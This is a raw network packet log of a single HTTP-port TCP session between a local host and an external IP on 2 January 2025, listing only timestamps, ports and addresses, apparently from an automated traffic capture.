Jan 2, 2025 20:34:58.282793999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.282820940 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.283154964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.304100990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.304126978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.304140091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.304151058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.304162979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.304163933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.304173946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.304198027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.304202080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.304214001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.304224968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.304234982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.304241896 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.304248095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.304259062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.304259062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.304271936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.304281950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.304282904 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.304291010 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.304294109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.304318905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.307759047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.315846920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.315912008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.315922976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.315933943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.315946102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.315956116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.315968037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.315979004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.316008091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.319751978 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.324839115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.324855089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.324879885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.324891090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.324903011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.324913979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.324925900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.324935913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.324953079 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.324979067 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.324979067 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.327003956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.327020884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.327032089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.327044010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.327054977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.327064037 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.327065945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.327079058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.327104092 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.327248096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.327661037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.327673912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.327685118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.327733994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.327740908 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.327740908 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.327744961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.327764034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.327775955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.327788115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.327795029 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.327795029 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.327805996 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.327914953 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.328298092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.328309059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.328326941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.328336954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.328346968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.328363895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.328363895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.328392029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.328402996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.328413963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.328417063 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.328423023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.328438044 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.328656912 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.345529079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.345542908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.345549107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.345592976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.345603943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.345616102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.345619917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.345644951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.345658064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.345671892 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.345673084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.345690012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.345693111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.345701933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.345712900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.345724106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.345736980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.345755100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.345767021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.345777988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.345793009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.345804930 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.345804930 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.345825911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.345858097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.345870018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.345880985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.345892906 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.345923901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.346010923 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.346371889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.346384048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.346402884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.346412897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.346424103 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.346431017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.346446991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.346456051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.346457958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.346467972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.346482992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.346687078 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.353645086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.353657007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.353667974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.353677988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.353688955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.353699923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.353710890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.353722095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.353724003 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.353815079 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.356805086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.356897116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.356906891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.356918097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.356923103 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.356930017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.356940031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.356949091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.356951952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.356962919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.357001066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.357001066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.361838102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.361921072 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.361926079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.361936092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.361953974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.361964941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.361975908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.361985922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.361988068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.361999989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.362006903 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.362093925 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.364140987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.364202023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.364211082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.364218950 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.364222050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.364239931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.364249945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.364258051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.364262104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.364272118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.364283085 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.364310980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.364310980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.369443893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.369455099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.369467020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.369477034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.369488001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.369498014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.369503975 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.369508982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.369519949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.369654894 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.390883923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.390912056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.390923977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.390935898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.390948057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.390958071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.390964985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.390969992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.390975952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.390986919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.391010046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.391022921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.391035080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.391046047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.391051054 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.391058922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.391071081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.391083002 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.391123056 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.391123056 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.402774096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.402787924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.402798891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.402808905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.402823925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.402836084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.402847052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.402848959 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.402858973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.402879000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.402965069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.411573887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.411670923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.411681890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.411688089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.411695957 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.411700964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.411712885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.411722898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.411983967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.413758039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.413865089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.413876057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.413887978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.413897991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.413909912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.413921118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.413933992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.414047956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.414441109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.414511919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.414525986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.414531946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.414535999 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.414542913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.414555073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.414565086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.414577007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.414599895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.414675951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.415551901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.415595055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.415606976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.415636063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.415647030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.415658951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.415661097 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.415668964 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.415671110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.415756941 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.432233095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432256937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432266951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432384968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432396889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432409048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432414055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.432420015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432431936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432441950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432444096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.432452917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432452917 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.432476997 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.432492018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432503939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432516098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432518005 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.432527065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432538033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432552099 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.432580948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432596922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.432596922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.432599068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432611942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432621956 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432625055 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.432634115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432658911 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.432775974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.432868004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432905912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.432931900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.433283091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.433293104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.433304071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.433315039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.433326006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.433337927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.433355093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.433356047 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.433367014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.433404922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.433489084 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.440331936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.440354109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.440365076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.440387964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.440399885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.440412045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.440414906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.440423965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.440428972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.440520048 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.443640947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.443651915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.443670988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.443681955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.443697929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.443708897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.443721056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.443726063 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.443732023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.443741083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.443753004 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.444046974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.448676109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.448688030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.448704958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.448715925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.448721886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.448729038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.448734045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.448753119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.448754072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.448846102 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.450994015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.451013088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.451035023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.451045990 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.451056957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.451067924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.451078892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:58.451081038 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:58.451090097 CET	80	49730	47.254.187.72	192.168.2.4
